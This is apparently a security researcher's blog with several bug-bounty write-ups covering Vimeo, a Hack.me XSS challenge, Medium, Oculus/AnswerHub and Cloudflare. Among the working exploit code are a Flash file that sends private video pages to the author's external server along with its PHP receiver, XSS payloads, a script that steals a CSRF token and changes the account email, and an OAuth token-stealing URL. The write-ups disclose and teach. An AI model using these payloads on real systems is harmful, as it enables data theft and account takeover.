0x00

Friday, November 11, 2016

Leak Private Videos [Vimeo Bug Bounty]




Hi , guys I hope you are doing well .

Today I will talk about one of my worst experiences in bug bounty programs with Vimeo security team .

First for who don't know Vimeo  :

Vimeo (/ˈvɪmioʊ/[3]) is a video-sharing website in which users can upload, share and view videos.[4] It was the first video sharing site to support high-definition video (started in October 2007).[5] Vimeo was founded in November 2004 by Jake Lodwick and Zach Klein. [wiki]

They have started there BB program on hacker one since 2 years ago .

I am not so active these days in the BB but I saw they paid $600  for Private videos disclosure and CSRF on Vimeo leading toprivate videos go public I told myself let's give a try . So the target wasn't about finding XSS or harmless CSRF it was about find a way to leak the private videos since they don't pay well for XSS or other bugs you will get duplicated or mini bounty that you waste a lot of time on .

So I started by reading old reports that related to this purpose . Almost every report was about crossdomain.xml file misconfiguration I focused on this file around the Vimeo sites .

In their rules there are a point about the corssdomain.xml that should be exploitable not just a novel :


  • Reports of insecure crossdomain.xml configuration (again, unless you have a working proof of concept -- and not just a report from a scanner) 

So I stared looking for this file around the sites and try to find a way to exploit it . I found one here 




It is allowing any domain to send requests to this host so the first step in the exploit is okay . But ! we can't say it is a security issue since the player should works in other hosts   


So let's see what is can be leaked like CSRF-token , username , email ...etc 

After some test I found out that player.vimeo.com check the user cookie to know if he is logged in or not . After that it shows him the private video if he have a permission to show it . 

Now I am using 2 browsers Chrome for unauthenticated user and Firefox for user (user36551307)

I uploaded video and set the privacy to only me . here it is https://player.vimeo.com/video/182118182 

If we open it using FF we will get this :





If we open it using Chrome 





So the source code of the page depends on the user authentication and we can leak in both ways !!! 

Now we need to write a flash file to send request to this URL and leak the source code of the page and see if we get the source can we play the video . and I copy the source code of the html page and save it on my PC something like test.html and it works fine ! 


I called leak.swf


We need to modify the flash file in readFrom:String and sendTo:String


 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
package {
 import flash.display.Sprite;
 import flash.events.*;
 import flash.net.URLRequestMethod;
 import flash.net.URLRequest;
 import flash.net.URLLoader;

 public class XDomainXploit extends Sprite {
  public function XDomainXploit() {
   //URL of the  private video for the authenticated user  
   var readFrom:String = "https://player.vimeo.com/video/182118182";
   var readRequest:URLRequest = new URLRequest(readFrom);
   var getLoader:URLLoader = new URLLoader();
   getLoader.addEventListener(Event.COMPLETE, eventHandler);
   try {
    getLoader.load(readRequest);
   } catch (error:Error) {
    trace("Error loading URL: " + error);
   }
  }

  private function eventHandler(event:Event):void {
   //URL to the attacker origin 
   var sendTo:String = "http://xxe-me.esy.es/video.php"
   var sendRequest:URLRequest = new URLRequest(sendTo);
   sendRequest.method = URLRequestMethod.POST;
   sendRequest.data = event.target.data;
   var sendLoader:URLLoader = new URLLoader();
   try {
    sendLoader.load(sendRequest);
   } catch (error:Error) {
    trace("Error loading URL: " + error);
   }
  }
 }



I modified it to the video URL and my host URL . The swf file will send the source code of the the Vimeo player to video.php which will save the source of this page as new html page .


The video.php source code :



 1
 2
 3
 4
 5
 6
 7
 8
 9
10
<?php
$data = file_get_contents("php://input");
$page_content = file_put_contents('private_video.html', $data, FILE_APPEND | LOCK_EX);
if($page_content === false) {
 die('Didn't work ! ');
}
else { 
 echo "$page_content exploited !";
}
?>


When the file get the source code of the page from the leak.swf php code will create a html page called private_video.html with the source code that it got before .


So I made an exploit with full PoC here is the PoC video :







So everything works fine . I wrote a good report with PoC , codes ,steps  and technical details  .


I got bot response said this is not an issue please provide working PoC ! I already did but I send the video one more time .

after 2 days the team closed the report as " Informative "  and with this replay

Thanks for your report. We are aware of this. This is how we allow custom flash players to work.

I was puzzled why they closed this . It is %100 a security issue ! I replayed to them and requested to disclose this report publicly .

I waited for days and requested mediation from HackerOne Support . after 30 days the H1 support told me Vimeo team pushed the public discourse 2 days and should be published then . Fine I will wait for to see the reaction of H1 community . After waiting for 2 days nothing happened  !  I waited for 10 days maybe and it is not published yet ! I contacted H1 support again . The last message I got this one :




So Vimoe team has never replayed me in the report and they didn't fix it or contact me for months and they want a 60 days after I requested the PD above all of this this report were closed as " Informative " .

And H1 team has nothing to do ! So I wrote this post for show we aren't in the BB heaven . 


BTW this is not the first time for Vimeo team , here is another report without bounty or a respectful replay https://hackerone.com/reports/49663


If you have an opinion on this you can comment it here or on my twitter account @Abdulahhusam



That is all .

Thanks for read .

Sunday, October 23, 2016

Hack.me XSS challenge | solution



Hi ,


At June 10, 2016 I published a XSS challenge on hack.me platform I called Small Youtube XSS . If you are here just for solution and not interested in write-up here you go https://jsfiddle.net/n8dsb1w9/


Here was the roles and hints

Description

Hi , In this XSS challenge you need to use many tricks for make the vector works ! It is not so hard and not so easy .


Rules

  • No user interaction allowed . 
  • Use only modern browsers (IE11 , FF49 ... etc) 
  • We need to see alert box with domain name . 

Hints

  • Use (?xss=) for inject .
  • Try to find missing or weak *things* in HTTP header and HTML source (what else !? ). 
  • Have you ever been told that you are too short for join to basketball team ? now you are too long to XSS this :p 
  • watch the video for motivation (https://www.youtube.com/watch?v=hzBCI13rJmA) . 

If you solve it please contact me (a.hussam[at]isecur1ty.org) Last but not least enjoy



--------------------------------------------------------------------------


The challenge was run till now for 4 months and there are only 2 solvers and it has been started  more than 700 times . So here is the solution . 


Solution


I deleted the source code along time ago so I will try to guess what I wrote before . I made this challenge based on the multi-steps filters that do filtering in serial steps . 

  • First it replaces words like eval,setIntraval,setTimeout with (xss-event).
  • Second it remove script word (key of solution) .
  • Third it will replace event handler attributes with (xss-event) . (except 2 of them
  • Htmlentities is enabled on the xss parameter so less , greater than and double quotation  is useless .  



1
2
3
4
  <video width="450" height="400" controls name=injection_here>
    <source src="http://www.google.com/test.mp4" type="video/mp4">
  Your browser does not support the video tag.
</video> 


Our injection point is at video tag let's see even handler for video tag HTML5 Video Events and API


You will find them all has been filtered but two of them aren't !  onloadstart , onratechange 

onratechange  require user interaction so we excluded it .









The domain is filtered so we will use the script remove trick ! 






Another problem here ! the payload should be only 26 characters !


1
    $_GET['xss'] = substr( $_GET['xss'], 0, 26) ;



Plot twist 
(https://en.wikipedia.org/wiki/Plot_twist)

We should use another method to alert document.domain since the regular payload is too long . We should use eval() . eval with make our string works as JS code but where we could put a string ?! we can make it using window.name :)

eval is filtered but we need to use the sciprt trick again . so it will be evscriptal(name) .

So all in one will be


1
<a href="http://s25504-102604-rmx.tarentum.hack.me/myvideo.php?xss=''onloadstart=evscriptal(name)" target="javascript:alert(domain);">click me</a>



And here we are





there are a multi-way to give name to a window like window.open or name in iframe tag which I allowed to be framed but I made a frame busting in the page can be bypassed easily . 


Solvers 


  • Adam Simuntis (adam.simuntis[at]secforce.com) with nice and expected 
  • Lucas Philippe (Bug in my code which is fixed)



I hope you enjoy the write-up and  the challenge see you soon with another one .


If you want to contact me reach me my twitter account @Abdulahhusam


Thursday, June 23, 2016

Medium Full Account Takeover






Hi .

Before 2 days ago I found A simple and limited XSS , so I developed to be full account takeover just by one click .


How it was start 

I was searching on google for some XSS vector there were a link to medium page that have XSS

 vectors . when I opened it I got XSSed ? !! I looking inside page and knew that there are something new here and cause this . after see the source code I found that the headline . 


After that I made an account and create new story with headline


1
"><script>alert(1337)</script>




And I got 




Wow so we got XSS now let's try to bring XSS file from outside because the headline was limited length . 

Let's try to bring XSS file form another server . like (http://xxe-me.esy.es/xss.js) . 

Let's try it out . 





If you open the page nothing will happen ! why ? there were a CSP




What is CSP ? 


CSP stands for Content Security Policy . 

Is an W3C specification offering the possbility to instruct the client browser from which location and/or which type of resources are allowed to be loaded. To define a loading behavior, the CSP specification use "directive" where a directive defines a loading behavior for a target resource type. (OWASP)

Medium CSP is : 


1
content-security-policy: default-src 'self'; connect-src https://localhost https://*.instapaper.com https://*.stripe.com https://getpocket.com https://medium.com:443 https://*.medium.com:443 https://*.medium.com https://medium.com https://*.medium.com https://*.algolia.net https://cdn-static-1.medium.com https://dnqgz544uhbo8.cloudfront.net 'self'; font-src data: https://*.amazonaws.com https://*.medium.com https://*.gstatic.com https://dnqgz544uhbo8.cloudfront.net https://use.typekit.net https://cdn-static-1.medium.com 'self'; frame-src chromenull: https: webviewprogressproxy: medium: 'self'; img-src blob: data: https: 'self'; media-src https://*.cdn.vine.co https://d1fcbxp97j4nb2.cloudfront.net https://d262ilb51hltx0.cloudfront.net https://medium2.global.ssl.fastly.net https://*.medium.com https://gomiro.medium.com https://miro.medium.com https://pbs.twimg.com 'self'; object-src 'self'; script-src 'unsafe-eval' 'unsafe-inline' about: https: 'self'; style-src 'unsafe-inline' data: https: 'self'; report-uri https://csp.medium.com


If you see the CSP the script-src use unsafe-inline without nonce for this reason the page doesn't prevent the XSS in the original page  .

It is common mistake as Michele Spagnuolo and Lukas Weichselbaum  said at HITB conference .







Now I found this but I didn't stop there I was thinking in give a good PoC for stealing CSRF token and make a request since the email change doesn't require a password confirmation . 

   
But wait ? we can not write a full script in the headline because the length of the headline is quite short and the single and double quotes were changed to Unicode  .  Nothing works I went to sleep . 


 In the next day I open the facebook and chat with some friends about my problem they give advise but nothing work out . 

Last idea I got is change the stored XSS to DOM XSS and it was really a great idea but I was not sure about it because if we clear the page we won't be able to steal the token . 





The token was in the same page  and it is called (xsrfToken) . 

Now time for some javascript :) 

For headline name I used 




1
"><script>document.write(decodeURIComponent(window.location.hash));</script>


The document.wirte for write the new PoC on page , decodeURIComponent for the URL decode , and all of the new PoC will be in the  window.location.hash . 





I wrote this simple token finder and tested locally .

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
<html>
<head>
 <script> 
function myFunction() { 
var str = document.body.innerHTML; 
var n = str.lastIndexOf('xsrfToken'); 
var result = str.substring(n + 12); 
if(result.length > 16){ result = result.substring(0,16); 
alert('Your token is ' + result);
}
}
</script>
</head>
<body>
xsrfToken":"HZuv9jqWJvnqO0pF"
<img src='x' onerror='myFunction()'> 
</body>
</html>
I used the js to check page for xsrfToken and show in alert box locally and then I used in the medium website . and img tag for trigger the XSS .




PoC :



1
https://medium.com/@abdullah.test1/script-src-goo-gl-9li8mf-script-img-onerror-myfunction-src-x-6c98f1e159ca#<script>function myFunction(){var str = document.body.innerHTML;var n = str.lastIndexOf('xsrfToken');var result = str.substring(n + 12);if(result.length > 16) {result = result.substring(0,16); alert(result); }</script><img src=x onerror="myFunction()">




Works good !

But after get the token I wasn't  able to send request ! Because the change request sent through PUT  method and SOP prevent send the request from another origin .

So I need to make the request form the current page . So I wrote the full poc that send request to (https://medium.com/me/email) with json data (email :abdullah.test1@gmail.com)

PoC :



 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
<script> function myFunction() {
 var str = document.body.innerHTML;
 var n = str.lastIndexOf('xsrfToken');
 var result = str.substring(n   12);
 if(result.length > 16) {result = result.substring(0,16); alert('Your token is ' +  result) };
 var xhr = new XMLHttpRequest();
 xhr.open('PUT', 'https://medium.com/me/email');
 xhr.setRequestHeader('Content-Type', 'application/json');
 xhr.setRequestHeader('X-XSRF-Token', result);
 xhr.onload = function() {
  if (xhr.status === 200) {
  alert('ok');
 } } ;
 xhr.send(JSON.stringify({"email":"abdullah.test1@gmail.com"}));
} </script>
<img onerror="myFunction();" src=x>


Full PoC here .


And the PUT request works ! and the email got change !!

 



I send  the full PoC and I got repay in the first day . After 2 days they contact me and rewarded me with $100 :p :/ . I was disappointed but at least I will get medium shirt :D .


Update : I got medium shirt :) 







See the PoC  video :






Conclusion 

  • Using nonce in your CSP . 
  • Make password confirm for email change mechanism . 
  • When you set new feature make sure it is secure .    

Links 

That is all thanks for read .If you like it you can follow me on my twitter account @Abdulahhusam .


Friday, February 12, 2016

How I hacked [Oculus] OAuth +Ebay +IBM


Hi ,

In beginning of 2015 (01/22/15) when I was looking for BB I know that  Oculus is under scope of Facebook BB





So when I product is in scope we should look for all sub and main domains . In that time the domain of  Oculus  was  (https://developer.oculusvr.com/)

But there was a link in menu (https://answers.oculus.com/)  so I went to it .



After some looking  I found that you can upload images in comments , so I told my self let's play here .


How it's work ? 

If you upload image in comment the first filter will check if the uploaded file is image and check

if it is a photo by check the name if it end with photos extensions .

the request include image=true  .

I uploaded a file  xxml.jpg , I used burp to intercept the request and change the content type to (text/xml)

and forward the request  .

Boom




Now we uploaded xml . I tried .php , .html they were upload but give 500 server error !

So I want to do harmful attack what kind of files I need ?!? ahh " SWF "


SWF can be used for SOP bypass , XSS , Open redirect , Leak CSRF token because it was stored in cookies .


There a very useful tool by @evilcos  called "xss.swf"  you can find it here 

Now let's do it again with .swf

Same thing  intercept  --> change content type to "application/x-shockwave-flash" --> forward


Here is a video for what I did







So we uploaded a evil swf file







Everything is good now let's report it to Facebook .


After I don't know how much because Facebook closed my account :p now


They replayed :

Hi Abdullah,

Thank you for your report.

This subdomain is actually not part of the Facebook bug bounty program and is hosted by AnswerHub. If you believe you have discovered a security vulnerability in that site, please consider responsibly disclosing it directly to them.

Thanks,

Mark
Security
Facebook



 It was disappointing replay because I think that every domain *.oculus.com were in scope .

But wait a I logged in using (api.oculus.com) so there are a hope to steal access token .

After some work . I found you can steal the token using the by upladed swf file redirect you and steal it (lost data while formatting :p) .


So the finial URL PoC :


https://api.oculus.com/v1/oauth2/authorize?client_id=answerHub&response_type=token%20id_token&nonce=-blahblah&state=&redirect_uri=https://answers.oculus.com/storage/attachments/131-xss.jpg&country=US&locale=en_US


Because the improper validation of redirect_uri on api.oculus.com I was able to change the value of it . And it can be used for open redirect using redirect_uri too and this will affect (api.oculus.com)
which is in the scope !!

I reported again


Hi , Mark 
I know that it is hosted on answerhub and I will report them but if you see that answers.oculus.com can be used to steal access tokens from api.oculus.comand the will affect (api.oculus.com) which is in the scope it can be used to redirect as well 

logged out and open this URL you will get the the page of login and when user log in he will redirect to swf file that steal access token and that will affect OAuth of Oculus
URL://URL
Open redirect for example 
URL://URL
that should be bug in the system of oculus .
thanks 


I got

Hi Abdullah,
Thanks again for writing in. The improper validation of redirect_uri on api.oculus.com was already known to us due to a previous report. There's a fix currently being tested.
As Mark mentioned, since answers.oculus.com is hosted by a third-party called AnswerHub, the issue of a stored XSS on AnswerHub is unfortunately out-of-scope. I'd encourage you to reach out to them directly and let them know about the issue.
Thanks,
Aaron  Security   Facebook

So I said if it is third-party I think there are other companies use it . I make google dork and search for it 

I got some good result like Ebay, IBM !! 

I did the same thing and here is it 


Ebay 



IBM



Good , now let's report it to AnswerHub . so I contacted to "Matthew Schmidt" the CTO of Dzone which is the builder of  AnswerHub  which is the paid service . 

They didn't give any bounty they told me they will send a package of Dzone things . I didn't get anything I don't know if my bad post office lost it or they didn't sent  it  !! no one knows :p .

After weeks they published a release note without my name and  I contacted them again and they wrote it with my wrong last name :p ! 

http://answerhub.com/releases/changelogs/answerhub-1.6.3-release-change-log/

I told Facebook for all of this and Neal Poole replayed me : 

Hi Abdullah,
Glad to hear it!
Thanks,
Neal  Security Facebook 


That is all of it 

Thanks for read you can contact me on my twitter @Abdulahhusam

Take care 



Monday, November 16, 2015

Cloudflare - when the firewall fall in protect it self

@Abdulahhusam
Hi ,

From along time ago  , I found a bug in http://securityundefined.com of xss vuln in the path

(http://securityundefined.com/cdn-cgi/pe/bag2?r[]=)

I reported it and got fixed after while 

the vulnerable parameter was (r[])  , but I did not know that the path  (/cdn-cgi/pe/bag2?r[]=) is for cloudflare so I did not look for 


After that I was searching in some bug bounty and get  

http://xxxxxxxxxxxxxxxx.foo/cdn-cgi/pe/bag2?r[]= 

I was surprised for see this path again I was saying maybe it is vulnerable like the previews one . 

 So I did simple GET request

GET /cdn-cgi/pe/bag2?r= HTTP/1.1
Host: xxxxxxxxxxxxxxxx.foo

User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive



I got 

HTTP/1.1 405 Not Allowed
Date: Mon, 16 Nov 2015 16:17:42 GMT
Content-Type: text/html
Server: cloudflare-nginx
cf-ray: 246481f1dd7c08ea-CDG
Transfer-Encoding: chunked
Connection: Keep-Alive


 What ?!! the website is not for cloudflare ? why the respond
server is cloudflare ?
 I understand that it use cloudfalre services 

But how it is work ? and why I get (405 Not Allowed) in respond , and I want a (200 OK !) 

I used proxy to get clear HTTP request that get the 200 OK . 


/cdn-cgi/pe/bag2?r[]=http://foo.bar/xxx.js HTTP/1.1
Host:foo.bar
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
PE-Token:1181d2a8d2f71217d89f9a70eb521bd7334e1a25-1438819567-1800
Connection: keep-alive


I saw the (PE-Token) in the request and I cahnged the (http://foo.bar/xxx.js) to (<script>alert(1)</script>)


Firefox : nothing ! 
IE 9,10,11 : the XSS works !!


after some looking the context type was set to (
Content-Type: multipart/mixed)
for that IE read as HTML page and js works . 

But here is problem where can I have (PE-Token) ??
Solve : when you do (
405 Not Allowed) you will get a simple page .



if you view the source code  you will see a


<html>
<head><title>405 Not Allowed</title><script type="text/javascript">
//<![CDATA[
try{if (!window.CloudFlare) {var CloudFlare=[{verbose:0,p:1438806465,byc:0,owlid:"cf",bag2:1,mirage2:0,oracle:0,paths:{cloudflare:"/cdn-cgi/nexp/dok3v=1613a3a185/"},atok:"xxxxxxxxxxx",petok:"1181d2a8d2f71217d89f9a70eb521bd7334e1a25-1438819567-1800",betok:"6ac82112672bec8b142092f8509e441fc0771df0-1438819567-120",zone:"salesforce.com",rocket:"0",apps:{"clky":{"sid":"xxxx","uid":"xxxx"}}}];!function(a,b){a=document.createElement("script"),b=document.getElementsByTagName("script")[0],a.async=!0,a.src="//ajax.cloudflare.com/cdn-cgi/nexp/dok3v=d134393e0a/cloudflare.min.js",b.parentNode.insertBefore(a,b)}()}}catch(e){};
//]]>
</script>
</head>
<body bgcolor="white">
<center><h1>405 Not Allowed</h1></center>
<hr><center>cloudflare-nginx</center>
</body>
</html>


The  petok = PE-Token 

Now we can make a poc  , if we have good crossdomain policy allow to do cross rqesut 
 I did not get a website a like so it was just scenario 

I see that many websites use the service from cloudflare 

here is some of it and with XSS 













 There are many more .

And you can use it as RFD :

GET /cdn-cgi/pe/bag2;/update.bat?r[]=%22FOO:BAR\%22||calc||%22





I reported it to cloudfalre they marked as N/A but they fixed anyway . 


Done !!